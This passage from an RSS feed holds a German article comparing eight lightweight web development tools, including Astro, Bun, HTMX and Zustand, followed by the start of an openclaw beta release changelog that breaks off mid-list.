<description><![CDATA[Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.dotshock | shutterstock.com



In der Webentwicklung gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von ...]]></description>
<link>https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600602/it-security-nachrichten/web-development-tools-8-innovative-optionen/</guid>
<pubDate>Tue, 16 Jun 2026 06:05:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2024/08/0_dotshock_shutterstock_2312374465_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="App Developer Testing 16z9 SHUTTERSTOCK EDITORIAL GERMANY ONLY" class="wp-image-3497299" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Neue Wege in Sachen Web Development beschreiten? Mit diesen acht Tools klappt das bestens.</figcaption></figure><p class="imageCredit">dotshock | shutterstock.com</p></div>



<p>In der <a href="https://www.computerwoche.de/article/2802920/was-macht-ein-web-developer.html" target="_blank">Webentwicklung</a> gibt es keinen vorgegebenen Weg. In einer Sache sind sich jedoch alle einig: Es ist höchste Zeit für ein „Great Unbloating“: Das Web Development muss von schwerfälliger Komplexität befreit werden. Wie das funktionieren kann, zeigen die acht Tools, die wir Ihnen in diesem Beitrag vorstellen.</p>



<p>Diese zeichnet aus, dass sie sich (größtenteils) mit alternativen Ansätzen befassen, die das Bewährte in Frage stellen. Auch wenn Sie die hier vorgestellten Lösungen nicht direkt für Ihre Zwecke einsetzen können, lohnt es sich also dennoch, sie im Auge zu behalten.</p>



<h2 class="wp-block-heading">1. <a href="https://astro.build/" target="_blank" rel="noreferrer noopener">Astro</a></h2>



<p>Wenn man eine Gruppe klassischer Musiker mit Noten in einen Raum setzt und sie einfach spielen lässt, <em>könnte </em>das Ergebnis ein stimmiges Stück sein. Wahrscheinlich braucht es aber einen Dirigenten, der alles koordiniert. In Zusammenhang mit Frontend-Frameworks ist <a href="https://www.computerwoche.de/article/3834789/astro-tutorial-plug-play-webentwicklung.html" target="_blank">Astro</a> genau das – ein Maestro.</p>



<p>Astro kümmert sich um die „<a href="https://www.infoworld.com/article/2335507/reactive-javascript-the-evolution-of-front-end-architecture.html" target="_blank">Hydration</a>“ des Frontends, also den Prozess, die Shell reaktiv zu machen. Beim konventionellen Server-Side Rendering (SSR) sendet der Server nicht nur den HTML-Code, sondern auch die riesige Framework-Runtime über das Netzwerk – nur um der Seite Event-Listener hinzuzufügen. Mit Astro ist es möglich, Komponenten in React, Svelte, Vue oder Solid zu schreiben – der Compiler des Tools entfernt dabei das gesamte JavaScript, bevor es den Browser erreicht. Astro liefert standardmäßig Zero JS aus und verlässt sich auf seine „<a href="https://docs.astro.build/en/concepts/islands/" target="_blank" rel="noreferrer noopener">Island Architecture</a>“, um nur die spezifischen Komponenten zu hydrieren, die Interaktivität erfordern.</p>



<p>Da Astro die Interaktivität in separaten „Inseln“ isoliert, ist es im Vergleich zu einer monolithischen Single-Page-Anwendung grundsätzlich schwieriger, komplexe States (etwa eine komplexe Seitenleiste mit Filterfunktion, die mit einem separaten dynamischen Data Grid kommuniziert) zwischen diesen Inseln zu teilen. Wenn Sie eine hochgradig interaktive, Dashboard-lastige Applikation entwickeln, in der jede Komponente die andere beeinflusst, könnten sich die isolierten Inseln eher nach Zwangsjacke als nach Befreiung anfühlen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.computerwoche.de/article/2833386/die-besten-javascript-frameworks-im-vergleich.html" target="_blank">Qwik</a>. Während Astro verschlankt, indem es den JavaScript-Code vollständig entfernt, setzt Qwik auf Verzögerung: Es liefert sofort HTML und serialisiert den Anwendungsstatus. Dabei wird nur der für eine bestimmte Interaktion erforderliche JavaScript-Code genau in der Millisekunde heruntergeladen und ausgeführt, in der der User auf die entsprechende Schaltfläche klickt.</p>



<h2 class="wp-block-heading">2. <a href="https://biomejs.dev/" target="_blank" rel="noreferrer noopener">Biome</a></h2>



<p><a href="https://www.computerwoche.de/article/2816993/7-gruende-rust-zu-hassen-und-zu-lieben.html" target="_blank">Rust</a> ersetzt nach und nach die zugrundeliegende Infrastruktur im JavaScript-Ökosystem. Das verleiht dem Biome-Tool seine Hardware-ähnliche Geschwindigkeit. Das Alleinstellungsmerkmal dieses Dev-Werkzeugs ist es allerdings, die weitläufige Webentwicklungs-Toolchain zu vereinheitlichen.  </p>



<p>Wenn die <code>.eslintrc</code>– und <code>.prettierrc</code>-Dateien sowie die Dutzenden zugehörigen Plugins in Ihrem Projekt bereits zu einem dunklen, unzufriedenstellenden Sumpf verkommen sind, ist Biome der Ausweg: Das Tool besteht aus einer einzelnen Binary, die komplett verworrene Foramtierungs- und Linting-Ökosysteme substituiert – und damit einen Weg zu Codequalität eröffnet, der ganz ohne ein weit verzweigtes Netz von Abhängigkeiten auskommt. </p>



<p>Der wohl größte Nachteil von Biome ist dabei gleichzeitig auch das Feature, das das Tool so schlank macht: Die Erweiterbarkeit geht verloren.</p>



<p><strong>Auch interessant:</strong> <a href="https://rspack.rs/" target="_blank" rel="noreferrer noopener">Rspack</a>. Biome bereinigt das Linting, Rspack entschlackt den Build-Schritt. Auch dieses Tool basiert auf Rust für mehr Geschwindigkeit. Dabei nutzt es – etwa im Gegensatz zu Vite – den „bundled“ Dev-Modus.</p>



<h2 class="wp-block-heading">3. <a href="https://bun.com/" target="_blank" rel="noreferrer noopener">Bun</a></h2>



<p>Die meisten gut informierten JavaScript-Enthusiasten dürften längst mit Bun vertraut sein. Wenn Sie die faszinierende Kombination aus All-in-One-Lösung und atemberaubender Geschwindigkeit noch nicht selbst erlebt haben, wird es Zeit. </p>



<p>Wenn Sie an <a href="https://www.infoworld.com/article/2254485/what-is-nodejs-javascript-runtime-explained.html">Node</a> gewöhnt sind und Bun ausprobieren, werden Sie sehr wahrscheinlich sofort davon beeindruckt sein, wie schnell Befehle ausgeführt werden. Das Bun-Team hat zudem über mehrere Jahre hinweg umfangreiche Anstrengungen unternommen, um seine Engine eng an die APIs von Node anzupassen. Das macht Bun zu einer außergewöhnlichen technischen Errungenschaft, die jeder JavaScript-Entwickler zumindest explorieren sollte.</p>



<p>Obwohl Buns <a href="https://www.computerwoche.de/article/2821852/die-moderne-c-alternative.html" target="_blank">Zig</a>-basierte Engine in vielerlei Hinsicht ein direkter Ersatz für Node ist: Sie ist nicht perfekt – insbesondere angesichts der gigantischen Anzahl von Node-Packages, die existieren. Deshalb bleibt Node auch die beste bewährte, konservative, Engine für serverseitiges JavaScript.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/2256205/what-is-deno-a-better-nodejs.html">Deno</a>. Bun hat sich zwar zu Recht einen Ruf als innovatives Tool erarbeitet – allerdings wurde Deno still und leise um eine Reihe attraktiver Enterprise-Funktionen ergänzt – etwa eine integrierte Bereitstellungsplattform und das Frontend-Framework <a href="https://www.infoworld.com/article/3523813/intro-to-deno-fresh-a-fresh-take-on-full-stack-javascript.html" target="_blank">Deno Fresh</a>.</p>



<h2 class="wp-block-heading">4. <a href="https://htmx.org/" target="_blank" rel="noreferrer noopener">HTMX</a></h2>



<p>Wenn es um smarte Wege geht, das Web zu vereinfachen, könnte man <a href="https://www.computerwoche.de/article/2833138/dynamisches-html-ohne-javascript.html" target="_blank">HTMX</a> durchaus als Paradebeispiel anführen. Das Projekt greift die Kernmechanismen moderner Web-Clients wie <a href="https://developer.mozilla.org/en-US/docs/Glossary/AJAX" target="_blank" rel="noreferrer noopener">Ajax</a> sowie partielle Aktualisierungen auf und wandelt diese in einfache HTML-Attribute um. Das hat zur Folge, dass der State ausschließlich auf dem Server gespeichert wird, der dafür zuständig ist, die HTMX-Fragmente zu senden.</p>



<p>Natürlich läuft das nicht ohne Kompromisse ab. Einer ist die extreme Abhängigkeit vom Netzwerk: Da es keine Client-seitige State Machine gibt, ist der Browser ohne Verbindung zum Server hilflos. Es sei denn, Sie wagen sich an Experimente mit einem <a href="https://www.computerwoche.de/article/4142269/der-browser-wird-zur-datenbank.html" target="_blank">„local-first“-Data Store</a>. Kurz gesagt: Wenn Ihre App in den Anwendungsbereich von HTMX fällt, ist HTMX wahrscheinlich der direkteste „<a href="https://www.computerwoche.de/article/2827943/was-ist-rest.html" target="_blank">RESTful</a>-Weg“, um diese zu erstellen.</p>



<p><strong>Auch interessant:</strong> <a href="https://www.infoworld.com/article/4100499/intro-to-hotwire-interactive-javascript-built-from-html.html" target="_blank">Hotwire</a>. Als Tool-Sammlung, um Single-Page-Anwendungen unter Verwendung von HTML über das Netzwerk zu erstellen, verfügt Hotwire über großartige Funktionen wie Page Morphing. Getreu der klassischen „Free as in Speech“-Softwarekultur werden Ideen zwischen den Projektverantwortlichen von HTMX und Hotwire ausgetauscht.</p>



<h2 class="wp-block-heading">5. <a href="https://powersync.com/" target="_blank" rel="noreferrer noopener">PowerSync</a></h2>



<p>Auch wenn die „Local-First“-Datenrevolution, für die <a href="https://www.infoworld.com/article/4163910/the-front-end-architecture-trilemma-reactivity-vs-hypermedia-vs-local-first-apps.html" target="_blank">PowerSync</a> steht, einen ausgiebigen technischen Deepdive erfordert: Der Kernansatz besteht darin, die Art und Weise, wie Daten in der Webarchitektur fließen, grundlegend neu zu gestalten. Das sollte jeder Webentwickler im Blick behalten.  </p>



<p>Normalerweise erstellen Entwickler Architekturen, die eine komplexe Middleware erfordern. Diese fungiert als Vermittler zwischen einem reaktiven Client und dem Data Store. Die radikale Alternative mit PowerSync: Der Broker wird komplett umgangen, indem eine SQLite-Wasm-Datenbank direkt in den Browser integriert wird. Die Benutzeroberfläche arbeitet dabei synchron mit lokalen Daten unter Verwendung von <a href="https://www.computerwoche.de/article/2830650/9-gruende-gegen-sql.html" target="_blank">SQL</a>, die Latenzzeit beträgt null. Der gefürchtete Ladekreisel wird damit vollständig eliminiert. Im Hintergrund gleicht PowerSync den lokalen Speicher automatisch mit der zentralen Postgres-Datenbank ab. Das Tool händelt die komplexen Synchronisierungs-Algorithmen und Netzwerkschwankungen und macht Ihre Anwendung damit effektiv „offline-first“ – per Default.</p>



<p>Der Haken ist dabei, dass ein „Local-First“-Entwicklungsansatz eine massive Umstellung erfordert: Sie müssen Data Slices (ähnlich einer View) definieren, die jeder Client-User vorhält. Die PowerSync-Engine übernimmt zwar auch hierbei den Großteil der Arbeit, aber Dinge wie Schemamigrationen und Konfliktlösungen (wenn zwei Benutzer denselben Datensatz offline bearbeiten) erfordern ein deutlich aufwendigeres Setup als eine Standard-REST-API.</p>



<p><strong>Auch interessant:</strong> <a href="https://rxdb.info/" target="_blank" rel="noreferrer noopener">RxDB</a>. Dieses Tool ist eine etwas andere Variante eines „Local-First“-Datenspeichers. Während PowerSync stark auf Postgres, SQLite und Hintergrund-Daemons setzt, bietet RxDB eine NoSQL-, „Offline-First“- und reaktive Datenbank. Diese behandelt Queries als „observable“ Streams und führt UI-Aktualisierungen genau in der Millisekunde durch, in der sich die lokalen Daten ändern.</p>



<h2 class="wp-block-heading">6. <a href="https://github.com/RooCodeInc/Roo-Code" target="_blank" rel="noreferrer noopener">RooCode</a></h2>



<p>Der wesentliche Vorteil von RooCode ist, dass es sämtliche Ihrer KI-Anbieter koordinieren kann – und zwar kostenlos. Bei dem Tool handelt es sich um eine Erweiterung für <a href="https://www.computerwoche.de/article/2833165/10-tricks-fuer-visual-studio-code.html" target="_blank">Visual Studio Code</a>, die einen „AI Manager Layer“ bereitstellt. Dieser schlägt eine Brücke zwischen den allgemeinen Fähigkeiten des LLM und den Code-spezifischen Strukturen auf Projektebene.</p>



<p>Dabei erreicht RooCode zwar nicht die Performanz von Tools wie Cursor oder <a href="https://www.computerwoche.de/article/4107872/google-antigravity-ide-angetestet.html" target="_blank">Antigravity</a> – ist aber durchaus in der Lage, die meisten kleinen bis mittelgroßen Requests zu bewältigen. Und das mit einem Minimum an unnötigem Overhead: RooCode hält Sie fern von proprietären Ökosystemen und ermöglicht auch, eigene API-Keys einzubinden – von Anthropic, OpenAI oder auch lokalen Modellen, die auf der eigenen Hardware laufen.</p>



<p>Die versteckten Kosten bestehen – wie bei jedem KI-Coding-Assistenten – darin, dass das Tool die Rolle des Entwicklers vom Code-Autor zum -Redakteur verschiebt.</p>



<p><strong>Auch interessant:</strong> <a href="https://antigravity.google/" target="_blank" rel="noreferrer noopener">Antigravity</a>. RooCode ist eine leichtgewichtige Erweiterung, die Ihre bestehende Umgebung aufwertet. Googles Antigravity ist hingegen ein maßgeschneiderter Editor, der von Grund auf mit Fokus auf KI entwickelt wurde und deshalb auch für Agentic-AI-Workflows konzipiert ist.</p>



<h2 class="wp-block-heading">7. <a href="https://tanstack.com/query/latest" target="_blank" rel="noreferrer noopener">TanStack Query</a></h2>



<p>Selbst wenn Client-seitiges State Management kein Problem mehr darstellt (siehe nächstes Tool), bleibt eine große Lücke bestehen: die Synchronisierung über die Servergrenze hinweg. An diesem Punkt kommt TanStack Query ins Spiel. Distributed Computing ist ein notorisch heikles Problem. Standardmäßige reaktive Modelle speichern den State sowohl auf dem Client als auch auf dem Server. Diese inhärente architektonische Reibung versucht TanStack Query abzumildern, indem es als intelligente asynchrone Schicht fungiert.</p>



<p>Anstatt eine Vielzahl manueller Fetches zu verwenden, die an <code>useState</code>-Aktualisierungen geknüpft sind (zusammen mit anfälligen <code>isLoading</code>-Flags und komplexer Logik zur State-Synchronisation), abstrahiert TanStack Query die aufwendige Arbeit, die mit API-Antworten, Hintergrundaktualisierungen und der Duplikatsbereinigung von Anfragen verbunden ist. Übrig bleiben einige wenige, elegante Hooks. Diese teilen TanStack Query mit, woher die Daten bezogen werden sollen. Dabei nutzt das Tool ein Muster namens „stale-while-revalidate“. Soll heißen: Daten werden im Frontend zwischengespeichert, wiederverwendet (wodurch Reload-Wartezeiten entfallen) und im Hintergrund mit dem aktuellen State synchronisiert.</p>



<p>Der Haken daran ist allerdings, dass TanStack Query Sie dazu zwingt, sich einem der hartnäckigsten Informatik-Probleme direkt zu stellen: der <a href="https://medium.com/on-building-software/why-cache-invalidation-is-actually-hard-e8b5e9a83e45" target="_blank" rel="noreferrer noopener">Cache-Invalidierung</a>. Sie werden also Zeit damit verbringen, über „Query Keys“ zu sinnieren und damit, zu entscheiden, wann ein Datenelement als „veraltet“ gelten soll.</p>



<p><strong>Auch interessant:</strong> <a href="https://swr.vercel.app/" target="_blank" rel="noreferrer noopener">SWR</a>. Während TanStack Query ein absolutes Kraftpaket für komplexe Datenmanipulation ist, bleibt SWR ein Vorreiter des API-Minimalismus. Es tut genau das, was sein Name andeutet (stale-while-revalidate) – und das fast ohne lästige Konfiguration.</p>



<h2 class="wp-block-heading">8. <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a></h2>



<p>Falls Sie noch nicht mit dem Albtraum des großangelegten State Managements in einer reaktiven App konfrontiert wurden, ein kleiner Spoiler: Das kann ziemlich unangenehm werden. Oder Sie nutzen <a href="https://zustand.docs.pmnd.rs/learn/getting-started/introduction" target="_blank" rel="noreferrer noopener">Zustand</a> und verzichten einfach auf den zeremoniellen Boilerplate-Code aus Reducern, Providern und unhandlichen Context-Wrappern. Ersetzt wird das durch einen winzigen, brutal simplen, globalen Speicher.</p>



<p>Anstatt Ihren gesamten Anwendungsbaum in einen massiven React-Context-Provider zu zwängen (was manchmal zu einer Kaskade überflüssiger Neu-Renderings im gesamten DOM führt), nutzt Zustand benutzerdefinierte Hooks, um den State direkt an die spezifischen Komponenten zu binden, die ihn benötigen. Dabei strebt das Tool danach, die Spezifität im reaktiven VDOM-Modell zu erreichen (anstatt sie à la <a href="https://www.infoworld.com/article/4129648/reactive-state-management-with-javascript-signals.html" target="_blank">Signals</a> vollständig zu eliminieren). Sie definieren einen Store, rufen ihn auf – und die Reaktivität funktioniert einfach. Der Preis für diese Befreiung ist die Last der Disziplin: Zustand hindert Sie nicht daran, Ihren globalen Speicher in eine überfüllte Deponie zu verwandeln. Entwickler müssen Ihre eigenen Konventionen und Guardrails einziehen, um großangelegte Projekte überschaubar zu halten.</p>



<p><strong>Auch interessant:</strong> <a href="https://jotai.org/" target="_blank" rel="noreferrer noopener">Jotai</a>. Wenn Zustand der schlank gehaltene globale Store ist, dann ist Jotai der schlank gehaltene, atomare Ansatz. Dieses Tool verwaltet den State „von unten nach oben“ und berechnet Änderungen mit chirurgischer Präzision – ohne dabei massive Neu-Renderings im gesamten Application Tree auszulösen. (fm)</p>



<p><strong>Dieser Artikel ist </strong><a href="https://www.infoworld.com/article/4181872/8-cutting-edge-web-development-tools-you-dont-want-to-miss.html" target="_blank"><strong>im Original</strong></a><strong> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[openclaw 2026.6.7-beta.1]]></title>
<description><![CDATA[2026.6.7
Highlights

Channel delivery is tighter across Slack, Telegram, outbound media, silent replies, progress drafts, and paged action results: same-channel Slack finals persist in transcripts, top-level image message-tool sends attach media, expandable Telegram blockquotes and spooled replay...]]></description>
<link>https://tsecurity.de/de/3595351/downloads/openclaw-202667-beta1/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3595351/downloads/openclaw-202667-beta1/</guid>
<pubDate>Sat, 13 Jun 2026 12:01:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>2026.6.7</h2>
<h3>Highlights</h3>
<ul>
<li>Channel delivery is tighter across Slack, Telegram, outbound media, silent replies, progress drafts, and paged action results: same-channel Slack finals persist in transcripts, top-level <code>image</code> message-tool sends attach media, expandable Telegram blockquotes and spooled replay survive delivery, explicit silent assistant replies stay silent, progress draft startup failures are reported, and channel action result pages can be fetched incrementally. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651011493" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92498" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92498/hovercard" href="https://github.com/openclaw/openclaw/pull/92498">#92498</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647947956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/92407/hovercard" href="https://github.com/openclaw/openclaw/issues/92407">#92407</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4648112850" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92416" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92416/hovercard" href="https://github.com/openclaw/openclaw/pull/92416">#92416</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644821392" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92281" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92281/hovercard" href="https://github.com/openclaw/openclaw/pull/92281">#92281</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4636652642" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92073" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92073/hovercard" href="https://github.com/openclaw/openclaw/pull/92073">#92073</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4637046617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92083" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92083/hovercard" href="https://github.com/openclaw/openclaw/pull/92083">#92083</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4561318320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/88993" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/88993/hovercard" href="https://github.com/openclaw/openclaw/pull/88993">#88993</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TurboTheTurtle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TurboTheTurtle">@TurboTheTurtle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ichirokyoto/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ichirokyoto">@ichirokyoto</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xydigit-sj/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xydigit-sj">@xydigit-sj</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sallyom/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sallyom">@sallyom</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hansraj316/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hansraj316">@hansraj316</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fuller-stack-dev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fuller-stack-dev">@fuller-stack-dev</a>.</li>
<li>Provider and model handling is more resilient: Kimi K2.7 Code is available, Kimi native tool-call ids and replayed <code>reasoning_content</code> are repaired, Mistral skips unreadable tool schemas, Fireworks catalog parameters come from manifests, DeepSeek keeps configured static transport, provider fallbacks resolve correctly, Anthropic thinking replay is repaired, and Anthropic Vertex stops re-marking transport-budgeted cache control. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653375038" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92554" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92554/hovercard" href="https://github.com/openclaw/openclaw/pull/92554">#92554</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647796985" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92396" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92396/hovercard" href="https://github.com/openclaw/openclaw/pull/92396">#92396</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587073338" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90242" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90242/hovercard" href="https://github.com/openclaw/openclaw/pull/90242">#90242</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588792805" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/90326" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/90326/hovercard" href="https://github.com/openclaw/openclaw/pull/90326">#90326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644256649" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92265" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92265/hovercard" href="https://github.com/openclaw/openclaw/pull/92265">#92265</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4645050984" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92293" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92293/hovercard" href="https://github.com/openclaw/openclaw/pull/92293">#92293</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644899244" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92286" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92286/hovercard" href="https://github.com/openclaw/openclaw/pull/92286">#92286</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4647497615" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92387" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92387/hovercard" href="https://github.com/openclaw/openclaw/pull/92387">#92387</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/obuchowski/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/obuchowski">@obuchowski</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/openperf/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/openperf">@openperf</a>.</li>
<li>User-visible context and auth boundaries are safer: Feishu no longer leaks prompt-preface runtime context into replies, WebSocket payload handling is hardened, CLI-backed <code>/btw</code> fallback fails closed, local setup trust is hardened, and Skill Workshop symlink writes are gated and validated before rollback metadata is written. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654187324" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92589" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/92589/hovercard" href="https://github.com/openclaw/openclaw/issues/92589">#92589</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654255059" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92593" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92593/hovercard" href="https://github.com/openclaw/openclaw/pull/92593">#92593</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642699320" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92226" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92226/hovercard" href="https://github.com/openclaw/openclaw/pull/92226">#92226</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640644961" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92175" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92175/hovercard" href="https://github.com/openclaw/openclaw/pull/92175">#92175</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jovi2014-cyber/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jovi2014-cyber">@jovi2014-cyber</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zhangqueping/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zhangqueping">@zhangqueping</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a>.</li>
<li>Agent, memory, Codex, cron, and update recovery paths preserve the useful failure now: invalid plugin model catalogs are isolated, QMD startup failures survive fallback errors, Codex memory prompts remain registered, source message tool replies no longer stop agent progress, structured unsupported-model errors are classified, heartbeat/cron terminal state is preserved, Linux service updates hand off cleanly, and cron status reports the SQLite store path. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4653661275" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92564" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92564/hovercard" href="https://github.com/openclaw/openclaw/pull/92564">#92564</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4642495610" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92218" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/92218/hovercard" href="https://github.com/openclaw/openclaw/issues/92218">#92218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654672627" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92618" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92618/hovercard" href="https://github.com/openclaw/openclaw/pull/92618">#92618</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4646627498" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92350" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92350/hovercard" href="https://github.com/openclaw/openclaw/pull/92350">#92350</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4646266965" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92343" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/92343/hovercard" href="https://github.com/openclaw/openclaw/pull/92343">#92343</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644781093" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/92280" 